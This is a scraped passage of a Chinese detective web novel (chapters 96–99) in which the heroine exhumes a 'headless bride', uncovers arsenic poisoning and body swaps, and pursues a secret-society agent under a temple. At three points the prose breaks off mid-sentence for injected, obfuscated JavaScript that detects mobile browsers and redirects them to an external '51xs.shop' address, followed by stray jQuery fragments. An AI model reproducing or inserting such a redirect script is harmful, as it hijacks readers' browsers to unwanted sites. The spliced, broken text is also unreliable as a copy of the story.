据她说,小姐出嫁那段时间她曾生了病,主人觉得不吉利,就要她在下人房里养病。有一天迷迷糊糊的,只见一个身材娇小的丫鬟过来取荷包,因为下人房采光不好,主人又不让她们白天点灯,说浪费,所以她也看不清楚。 “你们府里还有什么奇怪的事情发生吗?” “倒是有一件,”丫鬟舔了舔干涸的嘴唇,小心翼翼地说:“那段时间,家丁总在后院发现一些被砍头的小鸡小猫,特别瘆人,家丁还以为是谁在恶作剧,谁知道后来,被砍的就是小姐了?” 什么?! 水影一惊,难道凶手是王宅里面的人……那凶手先用动物来练胆子,等到活人的时候才不会那么害怕。 …… 就在水影要回大堂时,王茂叫住了她,说有些话想单独跟她说,碧玉和蓝心只是退到离他们几米远的地方,王老爷却跟在水影身旁,他知儿子一向笨嘴拙舌,生怕儿子会说什么话冒犯这督军府未来的女主人。 却见王茂有些不自然地扣了扣脑袋,嘴唇嗫嚅了几下,问水影:“她,过得还好吗?” “你个孽障,七姨太也是你可以惦记的?”王老爷被气得不轻,压低声音道。 “七夫人过得很好,你放心。我听七夫人提起过你,她说在王宅时,你对她颇为照顾,就像亲生哥哥一般,如今她这个妹妹怀了孕,也很感念王家的恩德。” 王茂脸色一白,仿佛只听到了“亲生哥哥”这几个字。他脚下打了个趔趄,差点站不稳,只是深深地吐了一口气,好似从胸膛最深处而出。 96. 开棺验尸 日落西山,天色渐晚,层层晚霞像鱼鳞一般,在天空铺排开来,王宅已经点上了灯笼,稀稀疏疏的,丫鬟们已经开始准备上晚饭,脸上写满了忙碌。 王老太端坐在檀木椅子上,身边有两个十四、五岁的小丫鬟伺候,还有一个跟随她多年的老妈子立在一旁。她用湿巾擦了擦手,其中一个小丫鬟突然手一软,打翻了盆子,地上全都是水。小丫鬟面如菜色,赶忙跪下磕头求饶,王老太却并不恼,只是温声说要她下次注意。 水影从后宅走入大堂时,看到的就是如此景象。 王老太见水影来了,和蔼一笑,招呼她坐下吃个便饭,可是水影的心头却横亘着另一件事——这件事她明知不好开口,却不得不做。 水影深吸一口气,一字一句道:“多谢您的好意,吃饭就不必了,当下我还有一个不情之请,希望您能答应。” 王老太仍是微笑着,等她继续说,那神情好像三月温暖的风,水影甚至觉得,什么要求在她这里都能得到满足。 “王小姐虽遭毒手,可是死因仍然不明,所以我想恳求您,让我开棺验尸,还王小姐一个清白。” 王老太的笑霎时僵在脸上。 只是她到底见惯了大场面,风度仍是极好地说:“我的孙女,不就是被歹人砍下头颅了吗?本已经很凄惨了,又何必多此一举地开棺验尸?” 水影很耐心地解释道:“这只是我们明面上看到的,如果不让我亲自去看尸体,那么死因仍是不明的。也许凶手先给小姐喝了毒药,让小姐中毒而死,再砍下她的头颅也未可知呢?如果是这样,死因就是中毒,而不是砍头了。如果我能亲自去看看,一定能有更多发现。” 王老太的脸色却骤然冰冷起来。 “妈,您消消气,别气坏了身子。”山雨欲来风满楼,王老爷打圆场道。 王老太却看也没看儿子,一双眼睛死死地盯住水影。 “其他事都可以商量,唯独这件事不行,我家秀娥已经入土为安了,”她冷冷地说:“我王家祖坟不光埋着秀娥,还埋着王家祖祖辈辈的先人,如果你要验尸,就是让王家祖祖辈辈不安宁。如果老身今天答应了,等我百年以后,决计无法面对王家列祖列宗。” 王家的丫鬟们早已经噤若寒蝉,她们从未见过老太太如此冰冷过。这位历经风霜的老太太,无论面对何事,从来都是笑着的,可是如果真触了她的逆鳞,后果便不堪设想了。这也是她们虽然觉得她和蔼,却仍旧小心行事,不敢出一丁点差错的原因。 “秀娥小姐如今死不瞑目,你们就不想将凶手捉拿归案吗?”水影瞟向站在一旁的望向王老爷,只见他低着头望着自己的鞋尖,不发一言。 水影缓缓道:“王老爷,您刚才不是说要我还你女儿公道吗,难道这么快就忘了?” 王老爷似乎有些触动,他望向自己的老母,以一种祈求的眼神。 王老太却视若无睹,还没等他开口,就说:“不必再劝了,你是督军府的新夫人,哪能做我王家的主?今天就算是李督军站在这,我老太太也是同样的说法。” 她颤抖着站起来,将拐杖重重地捶向地面,斩钉截铁道:“今天谁要是敢开棺,就从我老太太的尸体上跨过去!” 水影深深吸了一口气,面对这样顽固的老太太,一时竟有些无所适从。她甚至在想要不要去别的遇害新娘家看看,可是又转念一想,这王老太不过是皖城守旧派的一个缩影,她不同意,难道其他家就会答应吗? “王老太太,我尊敬您,当您是长辈。”水影上前一步,鼓起勇气,仍然不死心道:“逝者已矣,可是活着的人却不能得过且过,我听王老爷说您特别疼爱这个孙女,为了她的幸福,筹谋了许多。我想您也不希望,秀娥小姐就这样不清不白地死了吧,这样岂非是亲者痛,仇者快?我保证开棺后会小心对待秀娥小姐的遗体,绝不会有一丝一毫地轻慢……” “少夫人若是不吃饭,就请离开吧,老身要用餐了。”王老太仍是很坚决地说。 她的态度已经十分明确,当下甚至侧过脸去,不想再与水影说话。 正在这时,远处响起了三声枪响。 这三声枪响十分有震慑力,前两声往天空上射去,当作警醒,最后一声直接往王家的匾额上打了一枪,十分嚣张。 众人慌忙大叫,吓得捂住耳朵,有的丫鬟还吓得蹲了下来。 李皖一身军服,大步流星地走在最前头,后面跟着一队训练有素的士兵,他收了枪,挑眉道:“是谁在说我父帅?” “不知少帅来临,有失远迎啊!”王老爷作了一个深深的揖。 水影感激地望了李皖一眼,看来软的不行,只能来硬的。 原来李皖一早就知这事不易,便带了一队兵守在离王宅的不远处,老刘见状不对,便去门外告诉李皖知晓。 王老太却面若寒霜,“少帅这是作甚?似是与我王家有什么大仇一般,你的满月宴老身还去做过客的,没想到少帅却兵戎相见。难道你就是这样对待长辈的?也太不把我王家看在眼里了吧。老身这就去督军府分说分说,看李督军是不是也是这个意思!” “母亲,别说了。”王老爷疯狂朝她使眼色,死命地扯王老太的袖子,示意她噤声。 王老太却甩开了他的手,“世风日下,我倒要看看,这皖城还有没有规矩可言!” “在这里,我就是规矩!”李皖负着手,呵呵一笑,“老夫人,这皖城谁不知道,我与父亲二人父子连心,是故我的意思就是父帅的意思,老夫人不是肚子饿要吃饭么,又何必浪费时间去找我父帅?” “你……”王老太一时语塞,又痛心疾首道:“若是开棺,待我百年之后,祖宗定会不安……” 李皖“啪”的一声,把枪放在桌上。 “摆在你王家就两条路,第一,我一把火烧了你家祠堂,让你列祖列宗现在就无法安生,第二,让水小姐开棺验尸,百年之后的事,那就百年后再说……你们选吧。” “你……你们这群强盗!就不怕下地狱吗!”王老太气得直发抖,却又无可奈何。 “老子杀过的人足以让老子下地狱了,”李皖摆出一副死猪不怕开水烫的架势,他冷哼了一声,“还怕多这一件事?” *** 王家的祖坟在皖城附近的一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12941619|122837||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 座山上,是一块绝佳的风水宝地。天已经漆黑,只有几点星子挂在空中,像黑绸上撒下的珍珠。 士兵拿着火把,护送李皖和水影上山,王老爷为了指路,也跟着他们。水影背了一个布包,李皖从她手中接过,问她这是什么,水影只是莞尔,说这自有妙用。 虽是冬夜,一行人却走的很急,大家呼着热气,干劲十足。 入目是一大片墓园,许许多多的墓碑排列着,让人眼花缭乱。 “就在这儿。”王老爷擦了一把汗,带着众人走到其中一块墓碑边,说。 李皖点头,对着士兵做了一个手势,大家心领神会,立刻开始掘墓。 “请等一下。”水影从包里拿出尺子,又给了老刘一个笔记本,让他帮忙记录。 认真地丈量坟堆的长宽高,准备就绪后,才要士兵开干。 …… 水影立在一旁,手上不自觉地开始扣指甲,她的心脏砰砰直跳,心中却是带着光明的念头,终于离真相更进一步了。 棺材已经挖出,墓园里静悄悄的,大家都屏气凝神,等待棺材的开启。 “不好意思,再等一下。”水影又从包里拿出皂角,用火点燃,再用麻油给开棺的士兵们涂在鼻端,自己也涂上,最后拿出几块姜片,给士兵含住。 “可以开棺了,切记,开棺时一定要紧紧闭住嘴,不要让秽气冲入。” 士兵们点点头,用力移开了棺材盖。 果然是一具无头女尸,还好天气冷,尸体没有腐烂得很快。 水影检查了尸体头脚朝向,再测量尸体颈部和脚距离墓碑的远近,对老刘说:“死者身材娇小,算上头的长度,身高应该在四尺五寸。” 老刘赶紧记录。 水影拿着煤油灯走近,仔细地观察。 她突然发现死者的皮肤上有深色小疱,十指甲青黑,虽然因为没有头而看不见面部,可这很明显表明,死者是中毒而死的,而这毒便是…… “死者死于砒霜中毒,死后被人砍去脑袋,切口处并不平整,可见凶手不是刽子手一般的熟练,而是砍了许多刀才成功。”水影十分肯定地说。 众人皆是一惊,看来狐仙索命到底是无稽之谈。 “那小姐们结婚前疯疯癫癫,似是被狐仙附身之事作何解释?”老刘摸了摸胡须,问。 “有可能被人下了□□,又或是受了别的什么刺激,反正绝对不是神鬼之力。”水影思索了一下回答。却见李皖以一种奇怪的目光望着自己,她突然想起自己这是在啪啪打脸,不禁心虚地低头——水影能够查案就是借了狐仙的名头,现今却自己否定了鬼神之说,他不会是猜到了什么才这样看着自己吧。 算了不管了,都走到这一步了,总不能半途而废吧。 水影突然问王老爷:“秀娥小姐身上有没有什么特殊的胎记,我好确定她的身份。” 王老爷本躲在一边,不敢去看尸体,听到水影问自己,便说:“小女一岁时乳娘没注意让她胳膊烫到了,留下了一个月牙一样的印记。” “左手还是右手?” “左手。”王老爷非常确定道。 97. 梦中血泪 水影戴上橡胶手套,轻轻地抬起死者胳膊,一点一点地卷起她的袖子。 入目果然看到一月牙形状的黑色烧伤。 等等,好像有哪里不对。 为了确定心中所想,她又检查了死者的阴|户,发现她仍是处子,并且没有怀孩子,和灵鸢所说的王小姐被人侵犯而怀孕的事实显然不符。 “这不是秀娥小姐!”水影因为太激动而没有控制声音。 “你说真的吗?”王老爷差点喜极而泣。 水影拿起煤油灯,“你们看,这烧伤是最近才弄成的,并不是十几年前的旧伤,看来凶手是个心思缜密的人,连这点都想到了。”她并没有提孩子的事情,只是不想这个秘密让更多人知道,以免王家被人闲言碎语。 李皖有些犹疑,“那这是谁?” 水影美眸闪了一下,摇头,又问王老爷,“你们王宅最近有没有丫鬟失踪?” 王老爷有些茫然,“我平时不太管后宅之事,至于丫鬟嘛,多一个少一个也没什么不同。不过我明日会询问母亲,看有没有什么发现。” …… 时间已经很晚,李皖和水影一同乘车回家,这车是李为乐的爱车,从国外进口的别克汽车,外面装着防弹玻璃。有钱人家就是这样,时时刻刻要防备着别人害自己,更何况是一城的督军? 水影没有说话,只是目光望向了窗外,已经没有多少行人,街道空荡荡的,小贩也收摊回家了。 李皖却看着水影的侧颜,陷入了沉思。她皮肤很白皙,是那种透亮的白,睫毛很长,嘴唇嫣红,不说话时,嘴唇微微上翘,给人很亲和的感觉。风儿一吹,几缕长发飘散在耳边,有种灵动的俏皮。 李皖从没有这样近地看过她,曾几何时,这个位置是炎曜的,他不敢奢望。而他李皖只能坐在前面,亦或是乘另一辆车,远远地看着她。 如今这样近的距离,仿佛一低头,就能亲到她的唇瓣,是他以前绝不敢有的奢望。 两天后,她就会是他的妻了,他们还会有更多美好的回忆……一想到这,李皖只觉得像在做梦一样,他默默地想,如果是做梦,他多么希望这个梦永远也不要醒来。 李皖突然想再靠近一点,他默默地往她身边移了一点,水影却愣了一下,说:“我刚碰过尸体,不干净。” 李皖知道这只是她找的借口。 看了一眼手表,时钟已经过了十二点,又是新的一天了。 “昨天早上的狐仙上身,是你演的一出戏吧。”李皖突然淡淡道,“没想到你为了查案,居然会做出这种事,不惜自毁形象。” “……” 水影无话可说,这是事实,可是看他的表情,却并没有很愤怒。 他突然一把搂过她,一只手按着她的头,强迫她靠在自己的肩膀上,水影没有反抗,只是鼻尖闻到了古龙香水的味道,这是以前的李为乐永远也不会用到的东西,而李皖却能轻而易举地买到。 李皖深深嗅了一口独属于她的香气,突然抓住她的柔荑,叹了一口气。 “也许我的控制欲会让你觉得不舒服,可是我真的很不安,毕竟是用卑鄙的手段得到的你,所以不知道你哪天就会消失,让我永远也找不到,只剩下自己一个人。” 水影不知说什么,只是陷入了沉默。 “这案子你想查就去查吧,我答应你,我们结婚后,就会让你自由,不会再派人看着你。” 李皖像是说给她听,又像是说给自己听。 不过不要紧,只剩两天。 两天之后,一切都会不一样了。 *** 水影这晚睡得很不安稳。 一会儿梦到前世的那场沉船,水一点一点地漫过船舱,将她淹没;一会儿又梦到炎曜,他决绝地对自己说,是她先抛弃他的,他们二人死生不复相见,无论水影怎么喊,怎么哭泣,他就是头也不回地走了,铁石心肠一般。 最让水影印象深刻的梦境,是她又回到了晚上去的王家祖坟。 只是不同的是,这次只有她一个人。 水影虽然胆大,可心里总是有些发毛。 她提着灯笼,远远的,便见王小姐的墓碑前站着一个穿着嫁衣的新娘,嫁衣如火,这次的女子是有头的,不过她披着红色的盖头,让人看不清脸。 突然,那女子掀起盖头,不是王小姐的样子,而是一张水影从没看过的脸。 “救救我!求你救救我!” 那女子伸出手,对着水影留下了血泪。 水影想逃跑,却怎么也迈不开步子,就像定住了一般,好不容易转身。 身后突然出现了另外四位新娘,均是对着水影哭泣,鲜血从她们的眼鼻处簌簌流下。 被她们包围着,茫然无助,只是蹲下来,捂着耳朵。 可是她们却慢慢地朝水影围拢…… …… 水影从梦中惊醒,只觉得冷汗涔涔。 这个梦境太过逼真,又那么恐怖,让她有些胸闷。 天才刚刚亮,蓝心听到房间有动静,便提着灯过来寻水影,见她只是被噩梦魇住了,才稍稍放下心来。 “才早上七点呢,少夫人要再睡一下吗?”蓝心问,声音听不出起伏。 水影摇头说不必,自己现在就起床了。 “今天的任务更重,要查验王小姐新郎的尸体,还有另外几位小姐和她们夫婿的尸体。” 水影心想,王小姐的夫婿是个地痞,好像还是孤儿,自然没有开棺验尸的阻碍,而皖城不大,其余几家肯定或多或少都听闻了昨天的事情,有了王老太的前车之鉴,想必也不会过多阻拦。 李皖今天有事,便派了老刘和昨天那队官兵跟着她。 果然如她所料,王家夫婿被丢入了一座荒坟,虽不至于是乱葬岗,可是和昨天的王家祖坟对比起来,却十分草率,杂草横生,荒芜冷寂。 水影惊奇地发现,这坟冢周围似乎被动过,难道有别的什么人先于她而开棺的?! 待大家做好防护后,赶紧让士兵帮她打开。 “这里有女人的头啊!”第一个看到的士兵差点跌坐到地上。 水影定睛一看,那地痞流氓的尸体上正放着一个女人的头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12954661|122837||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 颅,经过切口的对比,就是昨天王小姐坟里的那位。 她点头道:“这就是了,我们一直不知道所谓的新娘头颅到底去了哪里,没想到被凶手给丢到这里来了,那人本以为可以神不知鬼不觉,却没想到,会有人把新郎的墓打开一探究竟。” 老刘赶忙做好记录,这对他们来说简直是巨大的发现。 水影开始为新郎验尸,这地痞也许是生前和人打架斗殴许多次,身上有很多密密麻麻的旧伤,死因是一刀毙命,正中心脏,凶手出手狠戾,又十分精准,好似是训练有素的……刺客。 “我猜想其他几对新人也是这种情况,尸体不是新娘的,而且新郎坟里有陌生女子的头颅。”水影大胆假设道。 而事实也正是如此,只是这些“新娘”的切口都是歪歪扭扭的,不平整,而且力气和用刀情况也有些不同。至于新郎,好似全是一人所杀,这人一定是受过专业训练,才会如此冷血,出手毫不犹豫。 …… 水影又开始研究他们的档案,发现这些案子有一个共同的特点。 “新娘”均是正经人家的女孩,而新郎却并非良人—— 第一位,城东王家,新郎是地痞流氓,奸污妇女,恶贯满盈,自是不必说。 第二位,新郎家财万贯,却是八十岁的老头子,死了好几任老婆,而新娘刚满十六,正是含苞待放之际,却因为家贫被父母强行定下了这门亲事。 第三位,一位纨绔的公子哥儿,正事不干,成天总是吸大烟,搞得自己像个骷髅头,骨瘦嶙峋。新娘家欠新郎一笔巨款,才被父亲强行订婚。 第四位,他是一个壮汉,只不过脾气火爆,上一任老婆就是被他家暴而死。而这位新娘不过是为了爷奶守孝了几年,使得年龄稍有些大了,父母便逼她嫁人。 第五位,倒是个贫寒的读书人,和新娘也算是情投意合,可他却软饭硬吃,新娘还未过门就露出真面目,成功霸占新娘家的财产,挪为己用。 如若嫁了,这些新娘的后半生必定会愁云惨雾,不得幸福。 水影的脑中似乎有个模模糊糊的想法,可是她却不敢确认,毕竟这件事太匪夷所思,如若是真的,那就真叫人瞠目结舌了。 这时,王老爷派人给水影送信,说王宅果然有一小丫头失踪,那丫头是新买的,个子很小,还是个哑巴,很没存在感,她只是给管家留了一个字条,说母亲重病,要回家探亲,就再也没消息了。 水影立马询问别家的情况,发现他们也是有小丫头走丢,只是没太注意,就没和巡捕说。 她闭上眼,认认真真地回忆案发现场的情况。小姐们的厢房都很典雅,是传统大家闺秀的住处,可是一定有什么共同之处,是她漏掉的。 一定…… 水影蓦然睁眼,她们的厢房都有一个木箱子是靠着窗户的,箱子前面还有屏风。 凶手在婚礼当天将不起眼的丫鬟毒死,放入木箱中,当鞭炮响起时,所有人都围在前门,凶手杀完人后便将丫鬟的头颅装进盒子,再躲进箱子,等大伙进门后混乱之时从窗户逃出,便神不知鬼不觉了。 98. 绝望夜莺 回到督军府后,水影将自己的推论与李皖全部说了。 他俊逸的眸子微微睁大,“你的意思是,各位小姐就是凶手?那她们这样做的目的又是什么?” 水影将档案递给李皖,说:“小姐们不愿屈从于自己的命运,机缘巧合下又被有心之人利用,聚集在一起,为她们提供行动方案,所以,才出现了这件怪力乱神的无头新娘案。而那人,很有可能来自暗夜组织,并且是组织的核心成员。” 她并没有在李皖面前避讳暗夜组织,因为以前他跟着炎曜查案时,早就对这组织有所耳闻了。她也知道,李皖曾经和暗夜组织做过交易,才能拿到那封信,却并不知晓,他付出过什么代价。 李皖的目光定在那档案上,从上到下浏览完,水影又给他一副自己画的草图。 “这是我根据新郎致死的伤口画出来的武器形状,是一把造型奇特的短刀,那刀具有弧形的双面铁制刀刃,便是在阿拉伯南部代代相传的嘉比亚弯刀。” 水影清楚地记得,当时坐船回国,她向船长通风报信,那船长的腰间就挂着这么一把刀,刀柄还是非洲犀牛角所制。水影觉得这刀特别,还多看了一眼。谁能想到那船长居然和暗夜组织是一伙的,不光自己被他们所害,丢了性命,就连整座船都没保住。 这次暗夜组织派出的成员,很有可能就是那船长,也就是李寻山的军师冯先生!没想到,去往北平只是他放出的假消息,真人居然还潜藏在皖城,只是又换了一个身份。怪不得炎曜派人在北平打听了许久也不见他的踪迹,这分明就是一个幌子。 一想到此,水影有些紧张,连额头都冒出了冷汗。以前这组织总是神龙见首不见尾,与他们也只能暗地里交锋,而这次,总算要明面上决战了吗? “影儿,别怕,有我在。”李皖搂住了她,“我会保护你的。” 水影抬头看他的眸子,这眸子浓黑,像浓重的黑夜一般。突然想起第一次见他的样子,那时还像一个初出茅庐的小伙子,眼睛里写满了真诚,可是现在给人的感觉,却像一个成熟有血性的男人了。 她拍了拍他的手背,朝他点点头。 水影坐了下来,定了定心神,“我们现在要做的就是找到小姐们的下落,不要让她们被坏人利用而走上歧途。这样周密的计划,主使人绝对会和她们亲自交代的,而不是只派人送信到家里。可是皖城比较传统,特别是大户人家的小姐,平时大门不出二门不迈,能够名正言顺去的地方也很少,到底是哪个地方呢?” “如果说妇人小姐最喜欢去的,就是位于城北的西庐寺了。上个月是水官大帝的生日,相传这天该神会下凡为凡人解厄,所以城里的很多人都去了那里,准备香烛祭品拜祭,以求平安。”李皖思索了一下,又说:“老刘之前也调查过,发现这些小姐都去过那座寺庙。” “我们明天就去那里。”水影美眸在灯下晕着光亮,像暗夜里的流星,似乎意识到自己有些冒犯,毕竟他那么忙,有没有时间还未可知。 她补了一句,“如果你有时间的话。” “好,明天我们一起去。”李皖只是说。 这时,蓝心敲了几下门,端进来的一个红木盘,上面放着水影的嫁衣,碧玉跟在她身旁,脸上没有表情。 蓝心说:“少夫人,这是皖城最好的绣娘为您制作的嫁衣,您试一下合不合身,如果有不满意的,明天还能帮您改。少帅已经试过了新郎装,他很满意。” 水影惊了一下,后天便要成亲了吗,时间过得可真快。 这也意味着,留给她的时间不多了。 “我……先出去。”李皖轻咳了一声,说。 水影在蓝心和碧玉的伺候下将嫁衣穿上了身,这是中式的凤冠霞帔,并不是西式的婚纱。绣工却是一绝,绣有玉兰,海棠和牡丹三种花纹,穿上这嫁衣,水影的气色被衬得极好,雪白的脸蛋似乎也被嫁衣染上了红晕。 对着镜子,有些发怔,没想到自己这辈子第一次穿上嫁衣却是这种场景。这时,镜中却出现了李皖的脸,他的眼中流露出惊艳之色,似是看痴了。 突然大步走到了水影身旁,与她并肩而立。 镜中是一对年轻的男女,看起来倒是极为相配。男人俊逸高挑,女人绝代风华,男人不知不觉地牵起了女人的玉手,对着镜子,脸上露出抑制不住的喜悦之色,一颗心似乎激动地快要跳出来。 碧玉望着二人牵着的手,却默默地垂下了眸子,狠狠地咬了一下嘴唇。 …… 天色已经很晚,水影洗了个澡后,就躺下了。 脑中思绪纷飞,回想着今日的一切。 明面上,她是去查案验尸,收获颇丰,可是暗地里做的,却一点也不比明面上的少。 比如,碧玉答应了她的要求,告诉了她自己父母在后山别院的确切位置,比如,她验尸回来故意经过了皖城大街,说想逛逛,进了很多店铺,采买了许多吃的玩的,实际的目标却是彭记糕点铺,在给掌柜付钱的时候偷偷塞给他一张纸条,上面有父母的位置。 又比如,她观察了督军府的布局,发现军机厅虽然把手严密,可是里面最重要的东西都是一些军事布防图,而后山李皖的妙学斋书房,才更有可能是密信的所在。 书房与别院虽然都在后山,相距却很远——别院在半山腰,而书房则在山脚下。炎曜若真准备帮她营救父母,必定是便宜行事,不会带很多的人,若是去山脚的书房,一定会惊动整个督军府,所以对于拿密信,还是自己出马比较保险。 晚上八点是书房士兵换岗的时间,利用那十分钟的空隙,说不定能够成事。 眼前又出现了李皖认真的样子,他说了会保护她,可是这保护又何尝不是建立在限制的基础上?就像一只夜莺,本来渴望自由的天空,却被人硬生生地折断翅膀,关在一个黄金笼子里,只能被迫为一位主人歌唱,若是主人厌弃了,等待它的也只能是毁灭的命运…… 他们二人本就是走在不同的道路上,既然有不同的选择,就不该强扭在一起。 她缓缓地闭上眼,强迫自己静下心来,养精蓄锐。 明天迎接她的,注定是一场恶战。 *** 距离成亲还有一天。 李皖一大早就整装待发了,他换上一件崭新的军装,对着镜子,戴上了军帽,以前那件染了血腥气,怕她不喜欢,已经扔了。 快步来到水影的厢房,推开门,发现她已经梳洗打扮好,神采奕奕的样子。 二人一道吃了早餐,便上车往西庐寺而去。 昨晚下了一夜的雪,街上结了一层厚厚的冰,家家户户的房檐上都挂着银光。又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12963580|122837||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是去郊区,车行缓慢,偏偏那雪又洋洋洒洒而下,雪花晶莹透亮,从灰暗的天空盘旋而下,一派冬日的静谧景象。 今日不是佛诞,寺里并没有多少人,李皖披着狐狸毛的披风从车子下来,又撑开一把黑伞,才打开车门,要水影下车。 她穿的很厚实,又戴上了披风,整个人被包的严严实实,只露出一双清丽又明亮的眸子。 路人看到他们的打扮和后面的一队士兵,纷纷侧目,几个胆大的孩子靠近了一点,便被母亲拦下,说不许冲撞贵人。 远处只有几个沙弥在打扫,一名稚气未脱的沙弥前来,朝他们双手合十,问道:“阿弥陀佛,请问二位施主前来,所为何事?” 水影向他回了一礼,“我们来调查最近的无头新娘案,还请方丈出来问话。” 小沙弥面露难色,扣了扣脑袋,“方丈正在闭门清修,已经很久没有出现了,这恐怕有些难度。” “你们上一次见到他是什么时候?” “如果是见面的话,是两个月前,后来,方丈就闭门不出,每日只要我们去给他送吃的。” “他的声音呢?也和以前一样吗?”李皖问。 “差不太多,只是好像哑了一点。”小沙弥回忆道。 “不好!”水影有些急迫地问小沙弥老方丈的房间。 沙弥回答后,水影便迫不及待地赶去了。 推开门,禅房空无一人,只留下一滩已经很淡的血迹,似是被人打扫过。 李皖让士兵搜查整个禅房,终于从柜子里找出老方丈的尸首。 那尸首被密封的很好,还包上了一层活性炭,再加上是冬天,自然没有很大的味道,所以小沙弥们也没发现。 几个小沙弥被吓了一大跳,有些惊魂未定。 水影说:“这两个月有没有人和他接触过?” “如果有,那就是给方丈送饭的眠空师叔了。”领头的小沙弥回答,“眠空是最近才加入寺庙的,师傅每次送饭都是指定他进去。可是有次我见他人在外面,没有张嘴,里面却传来声音,这是怎么一回事?” "我猜想,这人用的是腹语。虽然他的嘴巴没动,却仍旧是用声带发音,只不过他通过练习使得口部看似完全没有动作,再配合相关专业的技巧,使人产生一种声音从别的地方发出的错觉。"水影灵光一闪,又说:“对了,快将眠空抓住,别让他跑了!” 李皖向士兵做了手势,他们赶忙做鸟兽状散开。 趁着搜寻的间隙,水影询问小沙弥此人的长相,还有来历。小沙弥说眠空看起来四十岁上下,剃发之前两鬓斑白,目光锐利,看起来并没有出家人的慈悲为怀,反而有些杀气。当时方丈看他无依无靠,又态度诚恳,才答应收他进门,小沙弥们看他年纪大,才尊称一声师叔,没想到居然引狼入室了。 不一会儿,老刘突然焦急地说:“不好了,在眠空的禅房没有看到他,寺庙的其他地方也没有。” “什么情况?你们来之前一刻我还看到他在院子里扫地,怎么一转眼人就没了?” 守门的僧人也说并没有看到人出去。 老刘说,少帅一行进门后,便立马派一队人马将寺庙围得像铁桶一般,没看到有人逃走。 “好好的大活人,难道长着翅膀飞走了不成?”小沙弥疑惑道。 99. 地下工程 “这禅房里一定还有机关。只是眠空,我们况且就先叫他眠空吧,他怎么会知道的那么清楚?” 小沙弥抢先说:“以前我们寺院十分简陋,一眼就望得到底,不可能有什么密室机关,只是去年年初的时候,上海滩金聚公司的方老板曾经资助过我们禅寺一大笔钱,还叫专门的施工队过来修缮,我们当时很感激。这修缮进行了小一年,等重新搬回来后,后院晚上值夜的老僧总说有时会听到人讲话,我们还说他只是老了,耳朵聋,误把风声当作讲话声而已。” 难道这寺院已经成了暗夜组织的秘密据点? 一定有什么是他们还没发现的。 如果守夜的老僧说的是真的,这院子一定另有玄妙,甚至地下都有许多盘根错杂的暗室。 李皖发号施令道:“老刘,你让弟兄们仔仔细细,从里到外,再搜查一遍!” “是!”老刘遵命,带队继续搜捕。 水影也加入了他们中间,毕竟多一个人多一份力量。 这禅寺有许多神佛的塑像,皆是栩栩如生。还有一座罗汉堂,这罗汉堂结构奇特,塑像纵横交错,道路四通八达,宛若一座迷宫。 每年新年的时候,大家都有数罗汉的传统,可以从喜欢的位置开始数,一直数到自己的岁数,也可以按既定的规矩来数,这样的话,便能定下今年庇佑自己的罗汉。 有数十人进入了罗汉堂,水影也跟着进入瞧瞧究竟。 只见五百多罗汉塑像千姿百态,色彩缤纷,高矮胖瘦,老幼美丑一应俱全。他们神态动作各异,有闭目托腮,有振臂高呼,还有捧着灵芝仙草……让人不禁啧啧称奇。 每位罗汉的下方都有一米高的底座,要抬头才能看到上方的罗汉。 她突然想起暗夜组织的标志,一条衔尾蛇,正在吞食自己的尾巴,成了数字0的样子。沉船之前,那船长曾经露出过自己的纹身,一横加两条衔尾蛇,难道是他在组织中的代号? 水影这样想着,便来到了序号一百的罗汉处,这罗汉在罗汉堂的尽头,水影拐了许多弯才找到。 那是一位捧着仙桃的老翁,面带微笑,鹤发童颜,大腿盘着,十分怡然自得。 她突然注意到这仙桃有些掉漆,好像被人转动过多次。水影皱眉,踮着脚将仙桃转了一圈,罗汉下方的底座突然打开了一道小门,水影赶忙叫士兵们过来,说这里有发现,可那门却突然缓缓下降。 水影心中很是焦急,怕错过这次机会便前功尽弃,就弯腰进入了小门内。 小门砰的关上,从里面打不开了,四周漆黑一片。幸亏自己带着打火石,门边还有火把,便点了火照亮。 等了一会儿,见没有人再进来,水影有些头晕目眩,这里空气浓度极低,让她想吐。 管不了那么多,她猫着腰往前走,洞越来越大,最后终于可以直立行走了,只不过她感觉自己一直在走下坡,应该是到达了佛寺的地下。 远处突然现出一个黑色的鬼魅身影,那人一身夜行衣,转过头来。 水影见到了一双熟悉的眼睛。 是那船长!也是传说中的冯先生! 原来他一直都在皖城,之前说在北平果然是假消息。 眠空看到水影,只是挑衅一笑,就要逃跑。 “站住!” 水影拿着火把,开始追击他,跑了许久,那人转了个弯,似是凭空消失了,来无影去无踪。 她抹了一把额头的汗,只觉得这里机关众多,不可小觑。 突然听见女子的哭泣声还有说话声,仿佛在暗黑的地下世界编织出一场梦境。 